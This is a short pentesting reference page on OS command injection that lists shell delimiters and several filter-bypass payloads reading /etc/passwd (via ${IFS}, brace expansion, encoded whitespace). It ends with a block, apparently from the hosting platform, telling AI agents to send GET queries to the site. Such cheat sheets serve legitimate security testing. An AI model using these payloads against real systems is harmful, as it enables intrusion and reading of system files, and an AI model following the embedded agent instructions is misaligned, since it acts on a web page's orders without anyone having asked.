# Remote Code Execution (RCE)

### Shell Delimiters

<pre class="language-bash"><code class="lang-bash"><strong>;
</strong>>
>>
&#x26;
&#x26;&#x26;
|
||
</code></pre>

### Bypasses

```bash
# Some simple examples of bypasses when searching for OS Command Injection as referenced from 0xFFFF's blog.

;cat${IFS}/etc/passwd
;{cat,/etc/passwd}
;cat%09/etc/passwd
;cat%0a/etc/passwd
;cat+/etc/passwd
;$lol='\x20';cat${lol}/etc/passwd
;IFS=,;`cat<<</etc,/passwd`

```

### Filter Bypass Methods

### References

{% embed url="<https://0x80dotblog.wordpress.com/2021/07/28/os-command-injection-tutorial-part-1-basics-and-filter-evasion/>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ttp.parzival.sh/pentesting/web-applications/remote-code-execution-rce.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
